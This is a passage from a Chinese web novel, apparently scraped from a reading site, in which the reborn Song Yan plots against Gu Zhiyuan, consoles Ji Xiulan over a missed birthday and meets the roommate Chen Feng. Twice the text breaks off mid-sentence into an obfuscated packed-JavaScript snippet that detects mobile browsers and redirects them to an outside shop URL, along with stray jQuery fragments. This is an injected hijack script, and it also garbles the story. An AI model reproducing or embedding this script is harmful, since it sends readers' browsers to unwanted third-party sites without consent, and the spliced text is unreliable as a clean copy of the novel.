像是从某种思绪中被唤醒,宋凛川抬起眼笑了笑:“只是想起来公司里的一些事,走神了。” 宋母张了张口正打算再问些什么,却被宋父打断了。 他放下手中的汤勺,状似不经意地问:“既然知道错了,那你打算什么时候跟那边断清楚?” 宋母顺势接话过来,语气里带着几分后怕。 “还是早点断了吧,你爸之前仔细查过,那个人……水太深了,心思也不正,跟咱们不是一路人,你玩不过他的。” 本以为会得到儿子肯定的答复,却见宋宴轻轻摇了摇头。 他放下筷子,抬眼时,神色是跟以往撒娇耍赖时候完全不同的认真。 “不,爸,妈。” 男生的嗓音很清晰地在餐厅响起:“现在还不是时候。” “那你准备什么时候。” 这次开口的是宋凛川。 男人看向弟弟的眼神很深邃,带着几分锐利的审视。 “哥,你知道吗。” 宋宴转头看向宋凛川,语气中带着几分依赖:“顾知远的公司,最近有个项目,好像正准备向咱们集团旗下的子公司申请招标?” 宋凛川眉头微蹙:“你怎么知道。” “他跟我说的啊。” 宋宴倒也不避讳。 “但是我猜,以他的为人,招标材料绝对不可能干干净净,肯定有问题。” “哥,我想让他在这栽个跟头。” “你怎么开始琢磨这些了。” 宋凛川的眉头皱得更紧了些,语气探究:“谁教你的?” “没人教我,我自己想的。” 宋宴换上了一种撒娇的口吻,抓住宋凛川的胳膊轻轻晃了晃:“哥哥,我就是不甘心看他继续得意下去,等这件事了解我就跟他分手,断得干干净净——好不好嘛。” 男生嗓音轻快,有求于人的时候简直甜得跟含了蜜糖似的。 这件事背后的真正原因无法宣之于口,但宋宴知道,与其等待顾知远不知何时会来的恶意和算计,不如让他掌握主动权。 更何况,他也不是什么好惹的。 他要让顾知远付出代价。 宋凛川沉默地看了他两秒,终于还是几不可闻地叹了口气,抬手捏了捏眉心。 “……行。” “但是你记住,适可而止,这件事之后必须立刻跟他划清界限,不要再有任何瓜葛。” “知道啦知道啦,谢谢哥!” 宋宴嗓音亲昵,带着点得逞的笑容。 他就知道,他哥肯定会答应他。 “有什么事一定要跟我们说啊。” 宋母还是有点担忧,她看了眼旁边的丈夫:“毕竟我们是一家人,爸爸妈妈是永远站在你这边的。” 宋宴连忙点头。 “前两天你那部剧……” 宋父清了清嗓子,一贯严肃的语气也温和了下来:“你妈还拉着我,看你演的那部剧的宣传照片了。” 宋宴心头一跳,有点紧张地看向父亲。 宋父顿了一下,才继续说:“照片……还行吧,就是现在的年轻人在那里乱七八糟不知道在喊些什么,我们也看不懂。” 中年人不太擅长夸人,说话之间流露出了几分不自在。 “我知道你是真喜欢做这个,所以我们不拦你。” “你以后堂堂正正做人,不丢宋家的人,也别委屈自己,我们就能安心了。” 宋父向来思想传统,甚至高考的时候还反对他走艺考学编剧,相比之下宋母倒是开明许多。 拍戏的事,宋宴之前一直没敢跟他提,甚至一直都以为他不会赞同。 没想到…… 宋宴莫名地鼻子一酸。 也许是重生了一次格外感性的原因,这一幕居然让他差点哭出来。 前世,或许他如果不犯倔,本来也是能过上这样平淡又温馨的日子的…… “嗯嗯,好。” 男生把眼睛里的一点湿意逼了回去,重重点头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17199354|197168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 宋宴本来是打算吃完饭就走的,但是他哥让他多陪陪父母。 正巧,母亲拉着他说最近有个很想看的电影。 宋母喜欢的电影有点曲高和寡,在昏暗的投影面前,宋宴不知不觉就睡了过去。 等他醒来,发现时间居然已经到晚上十点多了。 “爸,妈!” 宋宴匆匆忙忙地从房间里跑出来,一边穿衣服一边说:“那我先回去了啊,过几天再回来看你们!” “都这么晚了,你就在家里住呗,路上多不安全。” 宋母脸上正敷着面膜,一边轻轻拍打皮肤一边说。 “不行啊妈,我得回去,家里还有……” 宋宴话说到一半,猛然顿住。 他明天得把季修岚送到学校,对方估计已经很久没去上学了,应该还有一些需要办的手续。 不过很显然,这个借口说不出口。 男生紧急改变了口风:“明天一早我有点急事,从我那走更方便,下次我一定多住两天。” “行吧。” 看他这么坚持,宋母虽然不舍,却也不再挽留。 “那让王叔送你吧,这么晚了你一个人打车我不放心。” 王叔是宋家的司机。 “没事妈,不用麻烦王叔跑一趟了。” 宋宴一边穿外套一边往外走:“我一会出去自己打个车就行,拜拜啊妈,帮我跟爸和哥说一声。” “这孩子……” 看着宋宴风风火火离开的背影,宋母无奈地摇了摇头。 不知道是不是她的错觉,她总觉得小儿子这次回来好像长大了不少。 …… 回去之后,时间已经到了晚上十二点多。 宋宴轻手轻脚地打开门,发现室内一片寂静。 他还生着病,应该早就已经睡着了吧。 宋宴松了口气。 他摸黑换了鞋,打算直接回卧室。 然而,就在经过餐厅时,男生的脚步猛然顿住。 黑暗中,隐约能看到餐桌边坐着一道人影。 “季修岚?” 宋宴被吓了一跳,顺势打开餐厅的灯,柔和的光晕瞬间洒了下来。 少年安静地坐在那,面前摆着几个盘子,里面盛着看起来早已经冷掉的菜。 桌子中央,还有一个小小的奶油蛋糕,是很简单的款式。 蛋糕旁边,散乱着几根店里送的蜡烛。 季修岚穿着宋宴给他的那件睡衣,一个人坐在那时身形异常单薄纤瘦,薄得好像纸片。 听到声音,他缓缓转过头,漆黑的眼底看不出情绪。 “还没睡?已经很晚了。” 感觉心口被轻轻地刺了一下,宋宴小心翼翼地开口。 “你……在等我回来?” 听到声音,季修岚才如梦初醒般眨了眨眼。 他的目光在宋宴脸上停顿了两秒,然后看向墙上的钟表—— 意识到距离零点已经过去了十几分钟,少年移开目光。 “呀,时间刚过。” 他的嗓音低低的。 “怎么了。” 几步走到季修岚面前,男生开口轻声问道。 “昨天……” 顿了顿,季修岚的目光又转回到了桌子上那个小小的、孤独的蛋糕上。 他的长眸微敛,在眼下投射出一小片阴影,语气平静。 “其实,是我的生日。” 14.舍友 宋宴心里“咯噔”一声。 此时,他脑子里已经闪过了两个大字。 完了。 这一桌饭菜和那个小小的蛋糕明显是花了心思的,宋宴都能从这里头看出男生的期待是如何落空。 “因为你说……你今天下午会回来。” 季修岚垂下眸子,声音很轻:“所以我……” “是我没问清楚。” 即使到了这种地步,他还要把过错揽到自己身上。 “抱歉,我……” 宋宴张了张嘴。 他本想说家里有事,但一想到自己确实是不小心睡了一下午,这种借口就有些说不出口了。 我真该死啊。 宋宴喉口发紧,看着男生这一副安静脆弱的模样,他觉得自己今天半夜睡觉都得爬起来抽自己一巴掌。 有些事错过就是错过了,这时候就算他再说给季修岚补过一个生日,都显得很苍白无力。 从小被娇惯着长大,宋宴擅长撒娇耍赖,却一点都不知道怎么处理这种情况。 半晌,他干巴巴地从喉咙里挤出一句:“那你……吃饭了吗?” 果不其然,他看到季修岚轻轻摇了摇头。 少年脸色不好,就连嘴唇都有些苍白。 “那怎么行!” 宋宴瞬间急了,嗓音不自觉扬高,“你的胃本来就不好,医生说你那天晕倒就是因为……” 话说到一半,他又猛地刹住。 责备的话,他一点都说不出口。 他轻轻叹了口气,然后拉开旁边的椅子坐下,看着季修岚的眼睛,小心翼翼地放软了嗓音。 “你怎么不早点告诉我呢?” 季修岚摇了摇头。 “哥哥有家人要陪,其实无所谓的。” 这个惯常很成熟的小男生露出了柔软的一面,看得人心里酸酸的。 说着,季修岚像是才刚反应过来,有些慌乱地起身,想收拾那些冷掉的盘子。 “我不是故意把这些摆在这给你看的……我以为你今天不会回来了。” 这话带了点微末的情绪,让宋宴几乎能想象出来,少年是如何一点点从下午等到深夜。 宋宴的心口泛起了一阵酸疼。 “对不起……” 男生的语气很认真。 他伸手碰了碰盘子的边缘,触手冰凉。 “这些都是你做的?” “嗯,”季修岚应了一声,嗓音闷闷的,“我看冰箱里还有点食材……做得不太好。” 看到宋宴似乎是想拿筷子,他连忙伸手拦了一下,指尖不经意擦过宋宴的手背。 “别吃了,哥哥,已经冷透了。” 动作之间,宋宴发现季修岚的额角隐约还有细密的虚汗。 “胃不舒服了?” 知道少年到底有多脆,宋宴的心立刻紧张了起来。 他几乎本能地伸手覆盖住了季修岚的腹部。 隔了一层薄薄的睡衣,他能清晰地感受到下面绷紧的肌肉和偏凉的体温。 季修岚的身体几不可察地僵了一瞬,随即放松下来。 “没事。” “什么没事,你的脸都白成这样了。” 宋宴不由分说地站了起来:“你等等,我去把菜热一下。” 他洗了手,把几盘菜放进微波炉里。 加热之后,菜变得有些软塌塌的,颜色也没有了开始的鲜亮好看,卖相实在不算太好。 宋宴拿起筷子尝了一口,发现味道居然很不错。 这个年纪的小孩,会自己做饭的不多,就连宋宴都只是简单地做一点,大多时候都点外卖。 能把简单的食材处理得这么好,能看出季修岚是个很独立的人。 季修岚坐在他对面,小口小口地吃着重新热的饭菜,一直都有些沉默。 但随着食物下肚,他脸上令人担忧的苍白似乎退去了一些,紧蹙的眉头微微舒展开来。 宋宴的目光落在了那个小小的蛋糕上。 蛋糕有些化了,显得有点塌,看起来格外可怜。 宋宴伸出手指,刮了一点边缘的白色奶油。 季修岚正低头吃饭,猝不及防地感觉鼻尖一凉。 他抬起头,只见宋宴正收回手,指尖沾着一点白。 男生的脸上带着恶作剧得逞般有点孩子气的笑意,眼睛里亮晶晶的。 看到一小团奶油被抹在季修岚挺翘的鼻尖上,宋宴弯起眼睛。 这个一贯早熟冷静,周身都带着疏离感的少年,此时少见地流露出了几分茫然。 周身那种生人勿进的孤独感终于被冲散了一些。 男生把剩下的奶油送进自己嘴里。 甜甜的味道萦绕在舌尖。 “蛋糕很好吃。” 宋宴看着他问:“许愿了吗?” 看到季修岚摇头,宋宴立刻说。 “那怎么行!生日愿望怎么能不许,万一实现了呢?” 一边说着,宋宴一边隔着不大的餐桌,握住了季修岚的手腕。 他引导着少年将双手放在胸前,做出了一个许愿的姿势。 然后,他另一只手的掌心轻轻覆盖上了季修岚的眼睛。 视线被遮挡时,其他感官瞬间被放大。 宋宴身上淡淡的甜橙香萦绕了上来,说话时,温热的呼吸不自觉拂过耳畔。 好像小鼓似的,轻轻敲击在季修岚的心口。 “好了,现在许愿吧。” 世界陷入了一片黑暗。 安静得好像能让人听到心脏跳动的声音。 时间被无限拉长。 十几秒后,宋宴移开手。 “许愿了吗?许的什么?” 男生有点好奇。 但是他转而反应过来:“啊,不能说,说了就不灵了。” “可以说的。” 季修岚却开口,接过了宋宴的话。 “第一个愿望,希望姥姥的身体能好起来。” 宋宴点点头,目光灼灼地看着他。 “第二个愿望……” 季修岚顿了顿。 “希望以后的每一个生日,都不用一个人过。” 说着,少年抬起了眸子。 那双漆黑的眸子底色清晰,映出宋宴的身影。 “像这样就很好。” 少年的嗓音里带着满足感。 宋宴却觉得心里酸酸的。 虽然已经打算好了要把少年好好地重新养一遍,但还是让他自己一个人孤零零地过了生日。 就连现在,他也没办法补救。 以后要对他更好一点。 男生默默在心里做了决定。 …… 第二天,宋宴送季修岚回了学校。 他先是让少年好好地去上课,然后自己找到了他班主任的办公室。 “你说你是季修岚的……家长?” 看着这个年轻且过分俊美的男生,老师有点迟疑。 不知道为什么,她觉得这个男生看起来有点眼熟,又实在是想不起来在哪见过。 “我是他表哥,现在我照顾他。” 宋宴面不改色地拿出早就准备好的谎话。 “这样啊。” 老师恍然大悟,然后欣慰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17199990|197168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地笑了 “季修岚这孩子一直都很优秀,就是家里那个情况……” 老师叹了口气,继续说:“他之前说不打算参加高考了,我们怎么劝都没用。” “当时,学校领导还说可以资助他到毕业,也被拒绝了。现在他能回来继续学业,真是太好了。” 宋宴心下了然。 “对了老师,还有件事。” “这段时间季修岚会住在我那,就不住校了。” 前世季修岚在学校里过得并不好,很大的麻烦就是来自于他室友。 只要一放学就把季修岚接走,他就不信那些疯子还能找他的麻烦。 老师爽快地答应下来。 “行啊,他宿舍另一个同学陈枫也经常不在学校住,正好一会课间,你们可以一起去收拾行李。” …… 季修岚还有点事要做,所以宋宴在征求了他同意后决定先去宿舍帮他收拾。 少年的宿舍布置得很简单。 属于他的床和桌子被收拾得整整齐齐有条不紊,而另一边则随意堆放着一些杂乱的生活用品和运动器材,彰显着主人不羁的个性。 对于陈枫这个名字,宋宴有印象。 他也是一个家世不错的少爷,也是前世第一个喜欢上季修岚的人。 到后来,他对季修岚产生了执念极深的欲望,被屡次拒绝后心态逐渐扭曲,想将他占为己有。 必须让季修岚离他远远的。 “咔哒。” 正想着,宿舍门锁忽然被从外打开。 “季修岚你终于回来啦!” 一个阳光的嗓音率先闯了进来。。 是一个穿着运动背心、身形高大的男生。 他的头发很短,露出饱满的额头和俊朗的五官,身上肌肉线条很明显,皮肤是健康的小麦色,宽大的掌心里还握着一颗篮球。 他的眼睛很大,眼睛里亮晶晶的。 乍一看很像某种犬科动物。 然而,男生很快就看清了宿舍里的人不是季修岚,而是一个长得过分漂亮的青年。 陈枫的笑容僵住,眼底的喜悦瞬间变成了错愕。 “卧槽!” 他脱口而出,眉毛扬起:“你谁啊!怎么在我和季修岚的宿舍里!” 宋宴转过身,双手抱胸打量着陈枫。 一看就是那种被家里保护得很好的类型,浑身上下都带着一种明亮的生命力。 如果不是重生过一次,宋宴应该不会对他抱有敌意。 但知道了他未来可能对季修岚做的事后,小少爷立刻换上了一副很有攻击力的表情。 他轻哧一声,微微扬起下巴,神色倨傲骄矜。 “你和季修岚的宿舍?” 宋宴重复了一遍,语调拉长,带上了微末的嘲讽。 “你们关系不错啊。” 两个人的视线在空气中接触,双方对峙下,几乎能听到电流“滋啦”的声响。 被宋宴看得有些不自在,陈枫一把将篮球随手扔在了桌子上,声音更高了一些,却不由得有些心虚。 “当然,我们是室友!你谁啊,季修岚呢?” 篮球撞在桌面,发出“砰”的一声巨响。 他的目光不由自主地飘向了宋宴的脸,喉口莫名有些发干。 男生周身带着种懒散随意的气场,微卷的头发很蓬松,微微遮住了一点脸,眉眼上挑,内勾外翘,眼底含着水一般多情又无情,眼下一颗小痣更显得昳丽。 唇红齿白,还噙着一颗小小的唇珠,下巴尖细,皮肤白得在屋子里简直发光。 这人……长得也太好看了点吧。